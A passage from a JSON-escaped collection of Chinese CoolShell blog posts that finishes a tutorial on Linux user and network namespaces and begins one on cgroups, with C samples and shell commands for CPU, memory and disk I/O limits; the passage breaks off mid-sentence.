_GNU_SOURCE\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <sys/mount.h>\n#include <sys/capability.h>\n#include <stdio.h>\n#include <sched.h>\n#include <signal.h>\n#include <unistd.h>\n\n#define STACK_SIZE (1024 * 1024)\n\nstatic char container_stack[STACK_SIZE];\nchar* const container_args[] = {\n    \"/bin/bash\",\n    NULL\n};\n\nint pipefd[2];\n\nvoid set_map(char* file, int inside_id, int outside_id, int len) {\n    FILE* mapfd = fopen(file, \"w\");\n    if (NULL == mapfd) {\n        perror(\"open file error\");\n        return;\n    }\n    fprintf(mapfd, \"%d %d %d\", inside_id, outside_id, len);\n    fclose(mapfd);\n}\n\nvoid set_uid_map(pid_t pid, int inside_id, int outside_id, int len) {\n    char file[256];\n    sprintf(file, \"/proc/%d/uid_map\", pid);\n    set_map(file, inside_id, outside_id, len);\n}\n\nvoid set_gid_map(pid_t pid, int inside_id, int outside_id, int len) {\n    char file[256];\n    sprintf(file, \"/proc/%d/gid_map\", pid);\n    set_map(file, inside_id, outside_id, len);\n}\n\nint container_main(void* arg)\n{\n\n    printf(\"Container [%5d] - inside the container!\\n\", getpid());\n\n    printf(\"Container: eUID = %ld;  eGID = %ld, UID=%ld, GID=%ld\\n\",\n            (long) geteuid(), (long) getegid(), (long) getuid(), (long) getgid());\n\n    /* 等待父进程通知后再往下执行（进程间的同步） */\n    char ch;\n    close(pipefd[1]);\n    read(pipefd[0], &ch, 1);\n\n    printf(\"Container [%5d] - setup hostname!\\n\", getpid());\n    //set hostname\n    sethostname(\"container\",10);\n\n    //remount \"/proc\" to make sure the \"top\" and \"ps\" show container's information\n    mount(\"proc\", \"/proc\", \"proc\", 0, NULL);\n\n    execv(container_args[0], container_args);\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    const int gid=getgid(), uid=getuid();\n\n    printf(\"Parent: eUID = %ld;  eGID = %ld, UID=%ld, GID=%ld\\n\",\n            (long) geteuid(), (long) getegid(), (long) getuid(), (long) getgid());\n\n    pipe(pipefd);\n \n    printf(\"Parent [%5d] - start a container!\\n\", getpid());\n\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWUSER | SIGCHLD, NULL);\n\n    \n    printf(\"Parent [%5d] - Container [%5d]!\\n\", getpid(), container_pid);\n\n    //To map the uid/gid, \n    //   we need edit the /proc/PID/uid_map (or /proc/PID/gid_map) in parent\n    //The file format is\n    //   ID-inside-ns   ID-outside-ns   length\n    //if no mapping, \n    //   the uid will be taken from /proc/sys/kernel/overflowuid\n    //   the gid will be taken from /proc/sys/kernel/overflowgid\n    set_uid_map(container_pid, 0, uid, 1);\n    set_gid_map(container_pid, 0, gid, 1);\n\n    printf(\"Parent [%5d] - user/group mapping done!\\n\", getpid());\n\n    /* 通知子进程 */\n    close(pipefd[1]);\n\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}\n```\n\n上面的程序，我们用了一个pipe来对父子进程进行同步，为什么要这样做？因为子进程中有一个execv的系统调用，这个系统调用会把当前子进程的进程空间给全部覆盖掉，我们希望在execv之前就做好user namespace的uid/gid的映射，这样，execv运行的/bin/bash就会因为我们设置了uid为0的inside-uid而变成#号的提示符。\n\n\n整个程序的运行效果如下：\n\n\n\n```\nhchen@ubuntu:~$ id\nuid=1000(hchen) gid=1000(hchen) groups=1000(hchen)\n\nhchen@ubuntu:~$ ./user #<--以hchen用户运行\nParent: eUID = 1000;  eGID = 1000, UID=1000, GID=1000 \nParent [ 3262] - start a container!\nParent [ 3262] - Container [ 3263]!\nParent [ 3262] - user/group mapping done!\nContainer [    1] - inside the container!\nContainer: eUID = 0;  eGID = 0, UID=0, GID=0 #<---Container里的UID/GID都为0了\nContainer [    1] - setup hostname!\n\nroot@container:~# id #<----我们可以看到容器里的用户和命令行提示符是root用户了\nuid=0(root) gid=0(root) groups=0(root),65534(nogroup)\n```\n\n虽然容器里是root，但其实这个容器的/bin/bash进程是以一个普通用户hchen来运行的。这样一来，我们容器的安全性会得到提高。\n\n\n我们注意到，User Namespace是以普通用户运行，但是别的Namespace需要root权限，那么，如果我要同时使用多个Namespace，该怎么办呢？一般来说，我们先用一般用户创建User Namespace，然后把这个一般用户映射成root，在容器内用root来创建其它的Namesapce。\n\n\n#### Network Namespace\n\n\nNetwork的Namespace比较啰嗦。在Linux下，我们一般用ip命令创建Network Namespace（Docker的源码中，它没有用ip命令，而是自己实现了ip命令内的一些功能——是用了Raw Socket发些“奇怪”的数据，呵呵）。这里，我还是用ip命令讲解一下。\n\n\n首先，我们先看个图，下面这个图基本上就是Docker在宿主机上的网络示意图（其中的物理网卡并不准确，因为docker可能会运行在一个VM中，所以，这里所谓的“物理网卡”其实也就是一个有可以路由的IP的网卡）\n\n\n![network.namespace](../wp-content/uploads/2015/04/network.namespace.jpg)\n\n\n上图中，Docker使用了一个私有网段，172.40.1.0，docker还可能会使用10.0.0.0和192.168.0.0这两个私有网段，关键看你的路由表中是否配置了，如果没有配置，就会使用，如果你的路由表配置了所有私有网段，那么docker启动时就会出错了。\n\n\n当你启动一个Docker容器后，你可以使用ip link show或ip addr show来查看当前宿主机的网络情况（我们可以看到有一个docker0，还有一个veth22a38e6的虚拟网卡——给容器用的）：\n\n\n\n```\nhchen@ubuntu:~$ ip link show\n1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state ... \n    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc ...\n    link/ether 00:0c:29:b7:67:7d brd ff:ff:ff:ff:ff:ff\n3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ...\n    link/ether 56:84:7a:fe:97:99 brd ff:ff:ff:ff:ff:ff\n5: veth22a38e6: <BROADCAST,UP,LOWER_UP> mtu 1500 qdisc ...\n    link/ether 8e:30:2a:ac:8c:d1 brd ff:ff:ff:ff:ff:ff\n```\n\n那么，要做成这个样子应该怎么办呢？我们来看一组命令：\n\n\n\n```\n## 首先，我们先增加一个网桥lxcbr0，模仿docker0\nbrctl addbr lxcbr0\nbrctl stp lxcbr0 off\nifconfig lxcbr0 192.168.10.1/24 up #为网桥设置IP地址\n\n## 接下来，我们要创建一个network namespace - ns1\n\n# 增加一个namesapce 命令为 ns1 （使用ip netns add命令）\nip netns add ns1 \n\n# 激活namespace中的loopback，即127.0.0.1（使用ip netns exec ns1来操作ns1中的命令）\nip netns exec ns1   ip link set dev lo up \n\n## 然后，我们需要增加一对虚拟网卡\n\n# 增加一个pair虚拟网卡，注意其中的veth类型，其中一个网卡要按进容器中\nip link add veth-ns1 type veth peer name lxcbr0.1\n\n# 把 veth-ns1 按到namespace ns1中，这样容器中就会有一个新的网卡了\nip link set veth-ns1 netns ns1\n\n# 把容器里的 veth-ns1改名为 eth0 （容器外会冲突，容器内就不会了）\nip netns exec ns1  ip link set dev veth-ns1 name eth0 \n\n# 为容器中的网卡分配一个IP地址，并激活它\nip netns exec ns1 ifconfig eth0 192.168.10.11/24 up\n\n\n# 上面我们把veth-ns1这个网卡按到了容器中，然后我们要把lxcbr0.1添加上网桥上\nbrctl addif lxcbr0 lxcbr0.1\n\n# 为容器增加一个路由规则，让容器可以访问外面的网络\nip netns exec ns1     ip route add default via 192.168.10.1\n\n# 在/etc/netns下创建network namespce名称为ns1的目录，\n# 然后为这个namespace设置resolv.conf，这样，容器内就可以访问域名了\nmkdir -p /etc/netns/ns1\necho \"nameserver 8.8.8.8\" > /etc/netns/ns1/resolv.conf\n```\n\n上面基本上就是docker网络的原理了，只不过，\n\n\n* Docker的resolv.conf没有用这样的方式，而是用了[上篇中的Mount Namesapce的那种方式](https://coolshell.cn/articles/17010.html \"Docker基础技术：Linux Namespace（上）\")\n* 另外，docker是用进程的PID来做Network Namespace的名称的。\n\n\n了解了这些后，你甚至可以为正在运行的docker容器增加一个新的网卡：\n\n\n\n```\nip link add peerA type veth peer name peerB \nbrctl addif docker0 peerA \nip link set peerA up \nip link set peerB netns ${container-pid} \nip netns exec ${container-pid} ip link set dev peerB name eth1 \nip netns exec ${container-pid} ip link set eth1 up ; \nip netns exec ${container-pid} ip addr add ${ROUTEABLE_IP} dev eth1 ;\n```\n\n上面的示例是我们为正在运行的docker容器，增加一个eth1的网卡，并给了一个静态的可被外部访问到的IP地址。\n\n\n这个需要把外部的“物理网卡”配置成混杂模式，这样这个eth1网卡就会向外通过ARP协议发送自己的Mac地址，然后外部的交换机就会把到这个IP地址的包转到“物理网卡”上，因为是混杂模式，所以eth1就能收到相关的数据，一看，是自己的，那么就收到。这样，Docker容器的网络就和外部通了。\n\n\n当然，无论是Docker的NAT方式，还是混杂模式都会有性能上的问题，NAT不用说了，存在一个转发的开销，混杂模式呢，网卡上收到的负载都会完全交给所有的虚拟网卡上，于是就算一个网卡上没有数据，但也会被其它网卡上的数据所影响。\n\n\n这两种方式都不够完美，我们知道，真正解决这种网络问题需要使用VLAN技术，于是Google的同学们为Linux内核实现了一个[IPVLAN的驱动](https://lwn.net/Articles/620087/)，这基本上就是为Docker量身定制的。\n\n\n#### Namespace文件\n\n\n上面就是目前Linux Namespace的玩法。 现在，我来看一下其它的相关东西。\n\n\n让我们运行一下上篇中的那个pid.mnt的程序（也就是PID Namespace中那个mount proc的程序），然后不要退出。\n\n\n\n```\n$ sudo ./pid.mnt \n[sudo] password for hchen: \nParent [ 4599] - start a container!\nContainer [    1] - inside the container!\n```\n\n我们到另一个shell中查看一下父子进程的PID：\n\n\n\n```\nhchen@ubuntu:~$ pstree -p 4599\npid.mnt(4599)───bash(4600)\n```\n\n我们可以到proc下（/proc//ns）查看进程的各个namespace的id（内核版本需要3.8以上）。\n\n\n下面是父进程的：\n\n\n\n```\nhchen@ubuntu:~$ sudo ls -l /proc/4599/ns\ntotal 0\nlrwxrwxrwx 1 root root 0  4月  7 22:01 ipc -> ipc:[4026531839]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 mnt -> mnt:[4026531840]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 net -> net:[4026531956]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 pid -> pid:[4026531836]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 user -> user:[4026531837]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 uts -> uts:[4026531838]\n```\n\n下面是子进程的：\n\n\n\n```\nhchen@ubuntu:~$ sudo ls -l /proc/4600/ns\ntotal 0\nlrwxrwxrwx 1 root root 0  4月  7 22:01 ipc -> ipc:[4026531839]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 mnt -> mnt:[4026532520]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 net -> net:[4026531956]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 pid -> pid:[4026532522]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 user -> user:[4026531837]\nlrwxrwxrwx 1 root root 0  4月  7 22:01 uts -> uts:[4026532521]\n```\n\n我们可以看到，其中的ipc，net，user是同一个ID，而mnt,pid,uts都是不一样的。如果两个进程指向的namespace编号相同，就说明他们在同一个namespace下，否则则在不同namespace里面。\n\n\n这些文件还有另一个作用，那就是，一旦这些文件被打开，只要其fd被占用着，那么就算PID所属的所有进程都已经结束，创建的namespace也会一直存在。比如：我们可以通过：mount –bind /proc/4600/ns/uts ~/uts 来hold这个namespace。\n\n\n另外，我们在上篇中讲过一个setns的系统调用，其函数声明如下：\n\n\n\n```\nint setns(int fd, int nstype);\n```\n\n其中第一个参数就是一个fd，也就是一个open()系统调用打开了上述文件后返回的fd，比如：\n\n\n\n```\nfd = open(\"/proc/4600/ns/nts\", O_RDONLY);  // 获取namespace文件描述符\nsetns(fd, 0); // 加入新的namespace\n```\n\n#### 参考文档\n\n\n* + [Namespaces in operation](http://lwn.net/Articles/531114/)\n\t+ [Linux Namespace Man Page](http://man7.org/linux/man-pages/man7/namespaces.7.html)\n\t+ [Creat Containers – Part 1](http://crosbymichael.com/creating-containers-part-1.html)\n\t+ [Introduction to Linux namespaces](https://blog.jtlebi.fr/2013/12/22/introduction-to-linux-namespaces-part-1-uts/)\n\n\n（应网友card323加入）\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Docker基础技术：Linux Namespace（上）](../wp-content/uploads/2015/04/isolation-150x150.jpg)](https://coolshell.cn/articles/17010.html)[Docker基础技术：Linux Namespace（上）](https://coolshell.cn/articles/17010.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![Docker基础技术：DeviceMapper](../wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg)](https://coolshell.cn/articles/17200.html)[Docker基础技术：DeviceMapper](https://coolshell.cn/articles/17200.html)\n* [![Docker基础技术：AUFS](../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png)](https://coolshell.cn/articles/17061.html)[Docker基础技术：AUFS](https://coolshell.cn/articles/17061.html)\n* [![Docker基础技术：Linux CGroup](../wp-content/uploads/2015/04/filter-150x150.png)](https://coolshell.cn/articles/17049.html)[Docker基础技术：Linux CGroup](https://coolshell.cn/articles/17049.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\nThe post [Docker基础技术：Linux Namespace（下）](https://coolshell.cn/articles/17029.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2015-4-17 Docker基础技术：Linux CGroup.md",
    "content": "---\nlayout: post\ntitle: Docker基础技术：Linux CGroup\ndate: 2015/4/17/ 1:3:57\nupdated: 2015/4/17/ 1:3:57\nstatus: publish\npublished: true\ntype: post\n---\n\n![filter](../wp-content/uploads/2015/04/filter.png)前面，我们介绍了[Linux Namespace](https://coolshell.cn/articles/17010.html \"Docker基础技术：Linux Namespace\")，但是Namespace解决的问题主要是环境隔离的问题，这只是虚拟化中最最基础的一步，我们还需要解决对计算机资源使用上的隔离。也就是说，虽然你通过Namespace把我Jail到一个特定的环境中去了，但是我在其中的进程使用用CPU、内存、磁盘等这些计算资源其实还是可以随心所欲的。所以，我们希望对进程进行资源利用上的限制或控制。这就是Linux CGroup出来了的原因。\n\n\nLinux CGroup全称Linux Control Group， 是Linux内核的一个功能，用来限制，控制与分离一个进程组群的资源（如CPU、内存、磁盘输入输出等）。这个项目最早是由Google的工程师在2006年发起（主要是Paul Menage和Rohit Seth），最早的名称为进程容器（process containers）。在2007年时，因为在Linux内核中，容器（container）这个名词太过广泛，为避免混乱，被重命名为cgroup，并且被合并到2.6.24版的内核中去。然后，其它开始了他的发展。\n\n\nLinux CGroupCgroup 可​​​让​​​您​​​为​​​系​​​统​​​中​​​所​​​运​​​行​​​任​​​务​​​（进​​​程​​​）的​​​用​​​户​​​定​​​义​​​组​​​群​​​分​​​配​​​资​​​源​​​ — 比​​​如​​​ CPU 时​​​间​​​、​​​系​​​统​​​内​​​存​​​、​​​网​​​络​​​带​​​宽​​​或​​​者​​​这​​​些​​​资​​​源​​​的​​​组​​​合​​​。​​​您​​​可​​​以​​​监​​​控​​​您​​​配​​​置​​​的​​​ cgroup，拒​​​绝​​​ cgroup 访​​​问​​​某​​​些​​​资​​​源​​​，甚​​​至​​​在​​​运​​​行​​​的​​​系​​​统​​​中​​​动​​​态​​​配​​​置​​​您​​​的​​​ cgroup。\n\n\n主要提供了如下功能：\n\n\n\n* **Resource limitation**: 限制资源使用，比如内存使用上限以及文件系统的缓存限制。\n* **Prioritization**: 优先级控制，比如：CPU利用和磁盘IO吞吐。\n* **Accounting**: 一些审计或一些统计，主要目的是为了计费。\n* **Control**: 挂起进程，恢复执行进程。\n\n\n使​​​用​​​ cgroup，系​​​统​​​管​​​理​​​员​​​可​​​更​​​具​​​体​​​地​​​控​​​制​​​对​​​系​​​统​​​资​​​源​​​的​​​分​​​配​​​、​​​优​​​先​​​顺​​​序​​​、​​​拒​​​绝​​​、​​​管​​​理​​​和​​​监​​​控​​​。​​​可​​​更​​​好​​​地​​​根​​​据​​​任​​​务​​​和​​​用​​​户​​​分​​​配​​​硬​​​件​​​资​​​源​​​，提​​​高​​​总​​​体​​​效​​​率​​​。\n\n\n在实践中，系统管理员一般会利用CGroup做下面这些事（有点像为某个虚拟机分配资源似的）：\n\n\n* 隔离一个进程集合（比如：nginx的所有进程），并限制他们所消费的资源，比如绑定CPU的核。\n* 为这组进程 分配其足够使用的内存\n* 为这组进程分配相应的网络带宽和磁盘存储限制\n* 限制访问某些设备（通过设置设备的白名单）\n\n\n那么CGroup是怎么干的呢？我们先来点感性认识吧。\n\n\n首先，Linux把CGroup这个事实现成了一个file system，你可以mount。在我的Ubuntu 14.04下，你输入以下命令你就可以看到cgroup已为你mount好了。\n\n\n\n```\nhchen@ubuntu:~$ mount -t cgroup\ncgroup on /sys/fs/cgroup/cpuset type cgroup (rw,relatime,cpuset)\ncgroup on /sys/fs/cgroup/cpu type cgroup (rw,relatime,cpu)\ncgroup on /sys/fs/cgroup/cpuacct type cgroup (rw,relatime,cpuacct)\ncgroup on /sys/fs/cgroup/memory type cgroup (rw,relatime,memory)\ncgroup on /sys/fs/cgroup/devices type cgroup (rw,relatime,devices)\ncgroup on /sys/fs/cgroup/freezer type cgroup (rw,relatime,freezer)\ncgroup on /sys/fs/cgroup/blkio type cgroup (rw,relatime,blkio)\ncgroup on /sys/fs/cgroup/net_prio type cgroup (rw,net_prio)\ncgroup on /sys/fs/cgroup/net_cls type cgroup (rw,net_cls)\ncgroup on /sys/fs/cgroup/perf_event type cgroup (rw,relatime,perf_event)\ncgroup on /sys/fs/cgroup/hugetlb type cgroup (rw,relatime,hugetlb)\n```\n\n或者使用lssubsys命令：\n\n\n\n```\n$ lssubsys  -m\ncpuset /sys/fs/cgroup/cpuset\ncpu /sys/fs/cgroup/cpu\ncpuacct /sys/fs/cgroup/cpuacct\nmemory /sys/fs/cgroup/memory\ndevices /sys/fs/cgroup/devices\nfreezer /sys/fs/cgroup/freezer\nblkio /sys/fs/cgroup/blkio\nnet_cls /sys/fs/cgroup/net_cls\nnet_prio /sys/fs/cgroup/net_prio\nperf_event /sys/fs/cgroup/perf_event\nhugetlb /sys/fs/cgroup/hugetlb\n```\n\n我们可以看到，在/sys/fs下有一个cgroup的目录，这个目录下还有很多子目录，比如： cpu，cpuset，memory，blkio……这些，这些都是cgroup的子系统。分别用于干不同的事的。\n\n\n如果你没有看到上述的目录，你可以自己mount，下面给了一个示例：\n\n\n\n```\nmkdir cgroup\nmount -t tmpfs cgroup_root ./cgroup\nmkdir cgroup/cpuset\nmount -t cgroup -ocpuset cpuset ./cgroup/cpuset/\nmkdir cgroup/cpu\nmount -t cgroup -ocpu cpu ./cgroup/cpu/\nmkdir cgroup/memory\nmount -t cgroup -omemory memory ./cgroup/memory/\n```\n\n一旦mount成功，你就会看到这些目录下就有好文件了，比如，如下所示的cpu和cpuset的子系统：\n\n\n\n```\nhchen@ubuntu:~$ ls /sys/fs/cgroup/cpu /sys/fs/cgroup/cpuset/ \n/sys/fs/cgroup/cpu:\ncgroup.clone_children  cgroup.sane_behavior  cpu.shares         release_agent\ncgroup.event_control   cpu.cfs_period_us     cpu.stat           tasks\ncgroup.procs           cpu.cfs_quota_us      notify_on_release  user\n\n/sys/fs/cgroup/cpuset/:\ncgroup.clone_children  cpuset.mem_hardwall             cpuset.sched_load_balance\ncgroup.event_control   cpuset.memory_migrate           cpuset.sched_relax_domain_level\ncgroup.procs           cpuset.memory_pressure          notify_on_release\ncgroup.sane_behavior   cpuset.memory_pressure_enabled  release_agent\ncpuset.cpu_exclusive   cpuset.memory_spread_page       tasks\ncpuset.cpus            cpuset.memory_spread_slab       user\ncpuset.mem_exclusive   cpuset.mems\n```\n\n你可以到/sys/fs/cgroup的各个子目录下去make个dir，你会发现，一旦你创建了一个子目录，这个子目录里又有很多文件了。\n\n\n\n```\nhchen@ubuntu:/sys/fs/cgroup/cpu$ sudo mkdir haoel\n[sudo] password for hchen: \nhchen@ubuntu:/sys/fs/cgroup/cpu$ ls ./haoel\ncgroup.clone_children  cgroup.procs       cpu.cfs_quota_us  cpu.stat           tasks\ncgroup.event_control   cpu.cfs_period_us  cpu.shares        notify_on_release\n```\n\n好了，我们来看几个示例。\n\n\n#### CPU 限制\n\n\n假设，我们有一个非常吃CPU的程序，叫deadloop，其源码如下：\n\n\n\n```\nint main(void)\n{\n    int i = 0;\n    for(;;) i++;\n    return 0;\n}\n```\n\n用sudo执行起来后，毫无疑问，CPU被干到了100%（下面是top命令的输出）\n\n\n\n```\n  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND     \n 3529 root      20   0    4196    736    656 R 99.6  0.1   0:23.13 deadloop   \n```\n\n然后，我们这前不是在/sys/fs/cgroup/cpu下创建了一个haoel的group。我们先设置一下这个group的cpu利用的限制：\n\n\n\n```\nhchen@ubuntu:~# cat /sys/fs/cgroup/cpu/haoel/cpu.cfs_quota_us \n-1\nroot@ubuntu:~# echo 20000 > /sys/fs/cgroup/cpu/haoel/cpu.cfs_quota_us\n```\n\n我们看到，这个进程的PID是3529，我们把这个进程加到这个cgroup中：\n\n\n`# echo 3529 >> /sys/fs/cgroup/cpu/haoel/tasks`\n\n\n然后，就会在top中看到CPU的利用立马下降成20%了。（前面我们设置的20000就是20%的意思）\n\n\n\n```\n  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND     \n 3529 root      20   0    4196    736    656 R 19.9  0.1   8:06.11 deadloop    \n```\n\n下面的代码是一个线程的示例：\n\n\n\n```\n#define _GNU_SOURCE         /* See feature_test_macros(7) */\n\n#include <pthread.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/syscall.h>\n\n\nconst int NUM_THREADS = 5;\n\nvoid *thread_main(void *threadid)\n{\n    /* 把自己加入cgroup中（syscall(SYS_gettid)为得到线程的系统tid） */\n    char cmd[128];\n    sprintf(cmd, \"echo %ld >> /sys/fs/cgroup/cpu/haoel/tasks\", syscall(SYS_gettid));\n    system(cmd); \n    sprintf(cmd, \"echo %ld >> /sys/fs/cgroup/cpuset/haoel/tasks\", syscall(SYS_gettid));\n    system(cmd);\n\n    long tid;\n    tid = (long)threadid;\n    printf(\"Hello World! It's me, thread #%ld, pid #%ld!\\n\", tid, syscall(SYS_gettid));\n    \n    int a=0; \n    while(1) {\n        a++;\n    }\n    pthread_exit(NULL);\n}\nint main (int argc, char *argv[])\n{\n    int num_threads;\n    if (argc > 1){\n        num_threads = atoi(argv[1]);\n    }\n    if (num_threads<=0 || num_threads>=100){\n        num_threads = NUM_THREADS;\n    }\n\n    /* 设置CPU利用率为50% */\n    mkdir(\"/sys/fs/cgroup/cpu/haoel\", 755);\n    system(\"echo 50000 > /sys/fs/cgroup/cpu/haoel/cpu.cfs_quota_us\");\n\n    mkdir(\"/sys/fs/cgroup/cpuset/haoel\", 755);\n    /* 限制CPU只能使用#2核和#3核 */\n    system(\"echo \\\"2,3\\\" > /sys/fs/cgroup/cpuset/haoel/cpuset.cpus\");\n\n    pthread_t* threads = (pthread_t*) malloc (sizeof(pthread_t)*num_threads);\n    int rc;\n    long t;\n    for(t=0; t<num_threads; t++){\n        printf(\"In main: creating thread %ld\\n\", t);\n        rc = pthread_create(&threads[t], NULL, thread_main, (void *)t);\n        if (rc){\n            printf(\"ERROR; return code from pthread_create() is %d\\n\", rc);\n            exit(-1);\n        }\n    }\n\n    /* Last thing that main() should do */\n    pthread_exit(NULL);\n    free(threads);\n}\n\n```\n\n#### 内存使用限制\n\n\n我们再来看一个限制内存的例子（下面的代码是个死循环，其它不断的分配内存，每次512个字节，每次休息一秒）：\n\n\n\n```\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void)\n{\n    int size = 0;\n    int chunk_size = 512;\n    void *p = NULL;\n\n    while(1) {\n\n        if ((p = malloc(p, chunk_size)) == NULL) {\n            printf(\"out of memory!!\\n\");\n            break;\n        }\n        memset(p, 1, chunk_size);\n        size += chunk_size;\n        printf(\"[%d] - memory is allocated [%8d] bytes \\n\", getpid(), size);\n        sleep(1);\n    }\n    return 0;\n}\n```\n\n然后，在我们另外一边：\n\n\n\n```\n# 创建memory cgroup\n$ mkdir /sys/fs/cgroup/memory/haoel\n$ echo 64k > /sys/fs/cgroup/memory/haoel/memory.limit_in_bytes\n\n# 把上面的进程的pid加入这个cgroup\n$ echo [pid] > /sys/fs/cgroup/memory/haoel/tasks \n```\n\n你会看到，一会上面的进程就会因为内存问题被kill掉了。\n\n\n#### 磁盘I/O限制\n\n\n我们先看一下我们的硬盘IO，我们的模拟命令如下：（从/dev/sda1上读入数据，输出到/dev/null上）\n\n\n`sudo dd if=/dev/sda1 of=/dev/null`\n\n\n我们通过iotop命令我们可以看到相关的IO速度是55MB/s（虚拟机内）：\n\n\n\n```\n  TID  PRIO  USER     DISK READ  DISK WRITE  SWAPIN     IO>    COMMAND          \n 8128 be/4 root       55.74 M/s    0.00 B/s  0.00 % 85.65 % dd if=/de~=/dev/null...\n```\n\n然后，我们先创建一个blkio（块设备IO）的cgroup\n\n\n`mkdir /sys/fs/cgroup/blkio/haoel`\n\n\n并把读IO限制到1MB/s，并把前面那个dd命令的pid放进去（注：8:0 是设备号，你可以通过ls -l /dev/sda1获得）：\n\n\n\n```\nroot@ubuntu:~# echo '8:0 1048576'  > /sys/fs/cgroup/blkio/haoel/blkio.throttle.read_bps_device \nroot@ubuntu:~# echo 8128 > /sys/fs/cgroup/blkio/haoel/tasks\n```\n\n再用iotop命令，你马上就能看到读速度被限制到了1MB/s左右。\n\n\n\n```\n  TID  PRIO  USER     DISK READ  DISK WRITE  SWAPIN     IO>    COMMAND          \n 8128 be/4 root      973.20 K/s    0.00 B/s  0.00 % 94.41 % dd if=/de~=/dev/null...\n```\n\n#### CGroup的子系统\n\n\n好了，有了以上的感性认识我们来，我们来看看control group有哪些子系统：\n\n\n* blkio — 这​​​个​​​子​​​系​​​统​​​为​​​块​​​设​​​备​​​设​​​定​​​输​​​入​​​/输​​​出​​​限​​​制​​​，比​​​如​​​物​​​理​​​设​​​备​​​（磁​​​盘​​​，固​​​态​​​硬​​​盘​​​，USB 等​​​等​​​）。\n* cpu — 这​​​个​​​子​​​系​​​统​​​使​​​用​​​调​​​度​​​程​​​序​​​提​​​供​​​对​​​ CPU 的​​​ cgroup 任​​​务​​​访​​​问​​​。​​​\n* cpuacct — 这​​​个​​​子​​​系​​​统​​​自​​​动​​​生​​​成​​​ cgroup 中​​​任​​​务​​​所​​​使​​​用​​​的​​​ CPU 报​​​告​​​。​​​\n* cpuset — 这​​​个​​​子​​​系​​​统​​​为​​​ cgroup 中​​​的​​​任​​​务​​​分​​​配​​​独​​​立​​​ CPU（在​​​多​​​核​​​系​​​统​​​）和​​​内​​​存​​​节​​​点​​​。​​​\n* devices — 这​​​个​​​子​​​系​​​统​​​可​​​允​​​许​​​或​​​者​​​拒​​​绝​​​ cgroup 中​​​的​​​任​​​务​​​访​​​问​​​设​​​备​​​。​​​\n* freezer — 这​​​个​​​子​​​系​​​统​​​挂​​​起​​​或​​​者​​​恢​​​复​​​ cgroup 中​​​的​​​任​​​务​​​。​​​\n* memory — 这​​​个​​​子​​​系​​​统​​​设​​​定​​​ cgroup 中​​​任​​​务​​​使​​​用​​​的​​​内​​​存​​​限​​​制​​​，并​​​自​​​动​​​生​​​成​​​​​内​​​存​​​资​​​源使用​​​报​​​告​​​。​​​\n* net\\_cls — 这​​​个​​​子​​​系​​​统​​​使​​​用​​​等​​​级​​​识​​​别​​​符​​​（classid）标​​​记​​​网​​​络​​​数​​​据​​​包​​​，可​​​允​​​许​​​ Linux 流​​​量​​​控​​​制​​​程​​​序​​​（tc）识​​​别​​​从​​​具​​​体​​​ cgroup 中​​​生​​​成​​​的​​​数​​​据​​​包​​​。​​​\n* net\\_prio — 这个子系统用来设计网络流量的优先级\n* hugetlb — 这个子系统主要针对于HugeTLB系统进行限制，这是一个大页文件系统。\n​​​\n\n\n\n注意，你可能在Ubuntu 14.04下看不到net\\_cls和net\\_prio这两个cgroup，你需要手动mount一下：\n\n\n\n```\n$ sudo modprobe cls_cgroup\n$ sudo mkdir /sys/fs/cgroup/net_cls\n$ sudo mount -t cgroup -o net_cls none /sys/fs/cgroup/net_cls\n\n$ sudo modprobe netprio_cgroup\n$ sudo mkdir /sys/fs/cgroup/net_prio\n$ sudo mount -t cgroup -o net_prio none /sys/fs/cgroup/net_prio\n```\n\n关于各个子系统的参数细节，以及更多的Linux CGroup的文档，你可以看看下面的文档：\n\n\n* [Linux Kernel的官方文档](https://www.kernel.org/doc/Documentation/cgroups/)\n* [Redhat的官方文档](https://access.redhat.com/documentation/zh-CN/Red_Hat_Enterprise_Linux/6/html-single/Resource_Management_Guide/index.html#ch-Subsystems_and_Tunable_Parameters)\n\n\n#### CGroup的术语\n\n\nCGroup有下述术语：\n\n\n* **任务（Tasks）**：就是系统的一个进程。\n* **控制组（Control 